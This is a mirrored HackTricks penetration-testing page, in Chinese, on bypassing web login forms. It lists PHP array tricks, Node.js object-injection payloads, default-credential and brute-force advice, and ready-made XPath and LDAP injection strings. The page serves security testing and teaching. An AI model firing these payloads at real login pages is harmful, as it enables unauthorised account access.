mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
3.8 KiB
3.8 KiB
登录绕过
{{#include ../../banners/hacktricks-training.md}}
绕过常规登录
如果你发现了一个登录页面,这里有一些技术可以尝试绕过它:
- 检查页面内的 评论(向下滚动并向右?)
- 检查是否可以 直接访问受限页面
- 检查 不发送参数(不发送任何或仅发送1个)
- 检查 PHP 比较错误:
user[]=a&pwd=b,user=a&pwd[]=b,user[]=a&pwd[]=b - 将内容类型更改为 json 并发送 json 值(包括 bool true)
- 如果你收到一个响应,表示不支持 POST,你可以尝试以 GET 请求发送 JSON 到主体,并设置
Content-Type: application/json - 检查 nodejs 潜在的解析错误(阅读 这个):
password[password]=1 - Nodejs 会将该有效负载转换为类似以下的查询:
SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` ``password=password=1;这使得密码位始终为真。 - 如果你可以发送 JSON 对象,你可以发送
"password":{"password": 1}来绕过登录。 - 记住,要绕过此登录,你仍然需要 知道并发送有效的用户名。
- 在调用
mysql.createConnection时添加"stringifyObjects":true选项将最终 阻止所有意外行为,当Object被传递 在参数中。 - 检查凭据:
- 默认凭据 的技术/平台
- 常见组合(root, admin, password, 技术名称, 默认用户与这些密码之一)。
- 使用 Cewl 创建字典,添加 默认用户名和密码(如果有),并尝试使用所有单词作为 用户名和密码 进行暴力破解
- 暴力破解 使用更大的 字典 (暴力破解)
SQL 注入认证绕过
在以下页面中,你可以找到一个 自定义列表以尝试通过 SQL 注入绕过登录:
{{#ref}} sql-login-bypass.md {{#endref}}
无 SQL 注入认证绕过
由于无 SQL 注入需要更改参数值,你需要手动测试它们。
XPath 注入认证绕过
' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2
LDAP 注入认证绕过
*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|
记住我
如果页面有 "记住我" 功能,请检查其实现方式,看看是否可以利用它来 接管其他账户。
重定向
页面通常在登录后会重定向用户,请检查是否可以更改该重定向以导致 开放重定向。如果将用户重定向到您的网站,您可能会窃取一些信息(代码、cookie...)。
其他检查
- 检查是否可以通过登录功能 枚举用户名。
- 检查密码/敏感信息 表单 输入 中是否启用了 自动完成:
<input autocomplete="false">
自动化工具
{{#include ../../banners/hacktricks-training.md}}